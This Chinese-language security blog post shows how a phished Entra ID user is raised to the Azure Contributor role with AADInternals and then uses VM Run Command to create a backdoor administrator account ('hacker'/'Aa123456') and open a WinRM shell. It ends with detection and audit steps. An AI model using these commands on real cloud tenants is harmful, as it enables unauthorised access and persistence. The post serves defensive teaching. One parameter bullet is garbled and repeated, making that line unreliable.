[网络安全] 滥用Azure内置Contributor角色横向移动至Azure VM

发布于:2025-03-22 ⋅ 阅读:(14) ⋅ 点赞:(0)

本文来源于团队的超辉老师,其系统分析了Azure RBAC角色模型及其在权限滥用场景下的攻击路径。通过利用AADInternals工具提升用户至Contributor角色,攻击者可在Azure VM中远程执行命令,创建后门账户,实现横向移动。文中详述了攻击步骤及防御检测方法,具备较强实用性与警示意义。

作者简介:
党超辉,全球阿里云、微软云、华为云、深信服等多家头部大厂 MVP 最有价值专家,CSDN 博客专家、腾讯云架构师技术同盟成员,云安全联盟(CSA)大中华区专家,中国计算机学会(CCF)专业会员,网络安全专业书《ATT&CK视角下的红蓝对抗实战指南》《AD 域攻防权威指南》作者、《Linux 权威指南:从小白到系统管理员 下册》《Linux权威指南:从小白到系统管理员 网络服务详解》译者,“娜璋 A| 安全之家”微信公众号联合运营人,曾先后起草编制并发布了多项广播电视行业安全标准,多次荣获了中国电影电视技术学会科学技术奖。目前专注于研究云原生安全、ATT&CK 攻防矩阵及威胁狩猎方向。

在这里插入图片描述


一.原理分析

Azure角色是Azure基于角色的访问控制(Azure Role-Based Access Control,Azure RBAC)框架的一部分。在Azure环境中,角色是用来定义一组权限集合的实体,这些权限决定了用户、组或服务主体可以对Azure资源执行的操作范围。通过Azure RBAC,管理员可以根据组织单位内的职责和需求,将预定义的角色(如所有者、参与者、读取者等)或自定义角色分配给不同的安全主体。这样可以实现对Azure资源的细粒度访问控制,确保每个用户仅拥有完成其工作所需的最小权限集。在通用的Azure内置角色中包含了一些适用于所有资源类型的“常规类别”角色,如表1-1所示,这些角色所拥有的授权范围及访问权限均不相同。

在这里插入图片描述

我们可以通过利用Get-AzRoleDefinition命令来查看这些“常规类别”角色的具体描述,包括角色定义及角色ID等。其中角色定义是所拥有权限的集合,列出了该角色可以执行的操作,如读取、写入、删除等。如图1-1所示,可在Actions部分查看到当前的角色对某个资源类型可执行的相关操作权限,Actions权限指定该角色允许执行的控制平面操作。它是用于标识Azure资源提供程序安全对象操作的字符串的集合。

在这里插入图片描述

常见的Actions部分操作子字符串如表1-2所示,通过执行“Get-AzRoleDefinition -Name “Contributor”命令可看出“Contributor(参与者)”拥有管理所有资源的完全访问权限。

在这里插入图片描述


二.利用条件

假设当攻击者通过密码喷洒、邮件钓鱼的方式获取了一个名为 abc@ad.xxx.cn 的Microsoft Entra ID(原Azure AD)普通用户权限,并利用 AADInternals将其权限提升为Azure资源组级别的Contributor(参与者)角色或持有 Microsoft.Compute/*权限(向Microsoft.Compute资源提供程序中的所有资源类型的所有操作授予访问权限)的任何自定义角色,即可横向移动到当前订阅的Azure资源组中的任意Azure VM中。


三.利用步骤

1)首先,执行如下命令使用 AADInternals工具通过Azure AD身份验证流程来获取Azure Core Management的访问令牌,并将所获取的访问令牌存储在变量$at中,如图1-2所示,在“Enter email,phone,or Skype”及“Password”处输入已经获取相关用户权限、名为 abc@ad.xxx.cn 的用户的账号密码信息。

$at=Get-AADIntAccessTokenForAzureCoreManagement

图1-2为获取 Azure Core Management访问令牌。

在这里插入图片描述

2)通过执行“Get-AzRoleAssignment”命令,查看当前Azure资源组级别的角色分配详细信息。

$at=Get-AADIntAccessTokenForAzureCoreManagement
Get-AzRoleAssignment -Scope
"/subscriptions/58bfa72c-72bf-4ee3-aecd-5berb09c7d2db8/resourceGroups/MyResourceGroup" 

可通过“-Scope”参数来指定要查询的角色分配范围,可以包括订阅、资源组、资源或其他特定范围的资源ID。在实际查询时需要将{subscriptionId}、{resourceGroupName} 和{vmName}替换为实际获取的订阅ID、资源组名称和资源名称,执行结果图1-3所示。在其反馈的输出结果中可以看到在当前Azure资源组级别角色中,只有一个名为“calc@ad.xx.xx”的用户拥有“User Access Administrator”角色权限。

图1-3为查看当前Azure资源组级别的角色分配详细信息。

在这里插入图片描述

3)随后通过AADInternals执行如下命令来将“abc@ad.xxx.cn”用户的角色权限提升为“Contributor(参与者)”角色,执行结果如图1-4所示。

Set-AADIntAzureRoleAssignment -AccessToken $at -SubscriptionId
58bfa72c-72bf-4ee3-aecd-5berb09c7d2db8 -RoleName "Contributor"
  • -AccessToken a t 参数:表示使用之前获取并存储在变量 at参数:表示使用之前获取并存储在变量 at参数:表示使用之前获取并存储在变量at中的访问令牌进行身份验证和授权操作。
  • -SubscriptionId参数:指定了要进行角色分配的Azure订阅ID。
  • -RoleName "Contributor"参数:表示授权分配该用户的角色身份为“Contributor(参与者)”角色。

图1-4为提升用户为“Contributor(参与者)”角色。

在这里插入图片描述

4)默认情况下,“Contributor(参与者)”角色的默认ID为“b24988ac-6180-42a0-ab88-20f7382dd24c”,如图1-5所示,可以看到当前abc@ad.xxx.cn用户的roleDefinitionId已和Contributor角色的默认ID一致。

Get-AzRoleDefinition -Name "Contributor"

在这里插入图片描述

5)再次执行“Get-AzRoleAssignment”命令来查询特定订阅ID下名为“MyResourceGroup”资源组的角色分配信息,同时筛选出在该资源组内被赋予了Contributor角色的所有角色分配记录,如图1-6所示,可以看出abc@ad.xxx.cn用户已被赋予了当前资源组的Contributor角色权限。

Get-AzRoleAssignment -Scope
"/subscriptions/58bfa72c-72bf-4ee3-aecd-5berb09c7d2db8/resourceGroups/MyResourceGroup
" | Where-Object {$_.RoleDefinitionName -eq "Contributor"} | Select-Object -Property
SignInName,DisplayName,RoleDefinitionId,RoleDefinitionName

图1-6为验证abc@ad.xxx.cn用户角色权限。
在这里插入图片描述

6)目前已经将abc@ad.xxx.cn用户提升至Contributor角色权限,这意味着我们可以横向移动到当前订阅的Azure资源组中的任意Azure VM中,接下来即可使用如下命令来枚举查询当前资源组中所存在的Azure VM信息,执行结果如图1-7所示。

Get-AzVM -Name app -ResourceGroupName demo

在这里插入图片描述

7)当获取资源组中所存在的Azure VM信息后,可执行如下命令来查看当前Azure VM公网IP信息。如图1-8所示,可看到Azure VM(虚拟机)的公网IP的所属位置、网络类型等信息。

Get-AzPublicIpAddress -Name demo-ip

在这里插入图片描述

8)Azure VM提供了一个“Run Command”(运行命令)的功能,如图1-9所示,可以使用虚拟机代理在Azure Windows VM上远程执行脚本。对于具有Azure资源组级别的Contributor角色或持有Microsoft.Compute/*权限的任何自定义角色的用户,便可以通过使用Powershell中的“Invoke-AzVMRunCommand cmdlet”命令在如表1-3所示的Azure VM Windows操作系统中,以NT Authority\System权限调用Run Command功能来运行 PowerShell脚本。

在这里插入图片描述

表1-3 支持执行Run Command功能的Azure VM Windows操作系统

操作系统 X64
Windows 10 支持
Windows 11 支持
Windows Server 2008 SP2 支持
Windows Server 2008 R2 支持
Windows Server 2012 支持
Windows Server 2012 R2 支持
Windows Server 2016 支持
Windows Server 2016 Core 支持
Windows Server 2019 支持
Windows Server 2019 Core 支持
Windows Server 2022 支持
Windows Server 2022 Core 支持

9)由于目前已将abc@ad.xxx.cn用户身份角色提升为“Contributor”,可在本地编写一个名为“runcommand1.ps1”的powershell脚本,并在powershell脚本中添加如下内容,如图1-10所示,使其在Azure VM上创建了一个新的用户账户(用户名为“hacker”,密码为“Aa123456”),并将此用户加入到本地管理员组中,赋予其管理员权限。

$passwd = ConvertTo-SecureString "Aa123456" -AsPlainText -Force
\\将明文密码"Aa123456"转换为安全字符串格式
New-LocalUser -Name hacker -Password $passwd
\\创建一个名为"hacker"的本地用户账户,并将其密码设置为之前转换成SecureString的
"Aa123456"。新创建的用户是AzureVM上的本地用户
Add-LocalGroupMember -Group Administrators -Member hacker
\\将名为"hacker"的新创建的本地用户添加到本地管理员组中。

图1-10为“runcommand1.ps1”powershell脚本文件。

在这里插入图片描述

10)随后即可通过Contributor角色身份权限,执行如下命令来在Azure VM上以NT Authority\System权限来运行名为“runcommand1.ps1”的PowerShell脚本。其中-VMName参数表示Azure VM的名称,-ResourceGroupName参数表示当前VM所在的资源组,-CommandId参数表示将要在Azure中运行的存储类型的命令,RunPowerShellScript参数示要运行的命令类型为PowerShell脚本,-ScriptPath参数表示要运行的Powershell脚本文件的本地路径。如图1-11所示,可以看到已通过“Invoke-AzVMRunCommand”命令成功在Azure VM上添加了一个账号名为“hacker”、密码为“Aa123456”的用户。

Invoke-AzVMRunCommand -VMName APP -ResourceGroupName demo -CommandId
'RunPowerShellScript' -ScriptPath .\runcommand1.ps1

图1-11 通过Invoke-AzVMRunCommand成功在Azure VM执行PowerShell命令。

在这里插入图片描述

12)切换到本地cmd命令行中,使用如下WinRS命令来将所有主机的IP地址添加到客户端信任列表,执行结果如图1-12所示。(WinRS是Windows的远程Shell,相当于WinRM的客户端。使用WinRS可以访问运行有WinRM的服务器,与目标主机形成交互式会话)

winrm set winrm/config/Client @{TrustedHosts="*"}

图1-12将所有主机的IP地址添加到客户端信任列表。

在这里插入图片描述

13)使用命令“winrs -r:http://20.2.67.23:5985 -u:hacker -p:Aa123456 “cmd””即可获取当前Azure VM的交互式会话,如图1-13所示。

在这里插入图片描述


四.检测及防御

那么作为Microsoft Entra ID 云管理员,我们应该如何对此滥用攻击进行检测和防御呢?具体可通过如下两个方面来进行检测及防御。

1.日志审核

第一步,审核相关订阅的“活动日志”,检测是否有使用操作运行命令在Windows VM中运行脚本。具体的活动日志的内容如图1-14所示,我们可以通过审核活动日志看到在2024年3月16号23:36:11的时候,用户 abc@ad.xx.xx.cn 在Virtual Machine(虚拟机)中执行了相关命令。

在这里插入图片描述

与此同时,可针对这类敏感操作去创建“警报规则”。当某个活动日志触发了在警报规则中配置的“警报逻辑”,系统则会第一时间进行告警,并通知相关管理员,如图1-15所示。

在这里插入图片描述

第二步,使用“Invoke-AzVMRunCommand cmdlet”在Azure VM上运行PowerShell的脚本通常会以SYSTEM用户身份权限来执行,可在Windows事件查看器中过滤出事件ID为4688的系统安全事件日志,如图1-15、图1-16所示。

图1-15为过滤事件ID为4688的系统安全事件日志。

在这里插入图片描述

图1-16为查看事件ID为4688的系统安全事件日志。

在这里插入图片描述

第三步,所有使用虚拟机代理在Azure Windows VM中运行的PowerShell脚本日志文件都会存在 C:\WindowsAzure\Logs\Plugins\Microsoft.CPlat.Core.RunCommandWindows<version>目录中,如图1-17所示,可直接查看当前目录中的所有日志文件内容,如图1-18所示。

图1-17为虚拟机代理运行PowerShell脚本日志文件路径。

在这里插入图片描述

图1-18为虚拟机代理运行PowerShell脚本日志

在这里插入图片描述


2.角色审核

通过使用虚拟机代理在Azure Windows VM上执行“Invoke-AzVMRunCommand cmdlet”来运行PowerShell脚本执行命令,需要订阅级别的Microsoft.Compute/locations/runCommands/read权限及Microsoft.Compute/virtualMachines/runCommands/write权限。在一般情况下,Contributor及更高级别的角色会拥有此权限,如图1-19所示,我们可通过如下命令来检测目前哪些用户在当前的资源组中,拥有订阅级别的Contributor角色及更高级别角色的权限,其中需要替换为实际的订阅ID。

Get-AzRoleAssignment -Scope
"/subscriptions/58bfa72c-72bf-4ee3-aecd-5berb09c7d2db8/resourceGroups/MyResourceGroup
" | Where-Object {$_.RoleDefinitionName} | Select-Object -Property
RoleDefinitionName,SignInName,DisplayName,RoleDefinitionId

图1-19为检查拥有订阅级别Contributor角色及更高级别角色的权限的用户。

在这里插入图片描述


四.总结

本案例详细展示了攻击者如何通过提升Azure RBAC角色权限滥用Contributor角色,在无凭据的情况下远程控制Azure虚拟机,执行恶意脚本创建后门账户,实现持久化控制。为此,应加强活动日志审计、角色权限检查及异常操作告警机制,构建多层次主动防御体系,防范RBAC权限滥用带来的云安全风险。

(By: 团队超辉老师 2025-03-20 夜于贵州)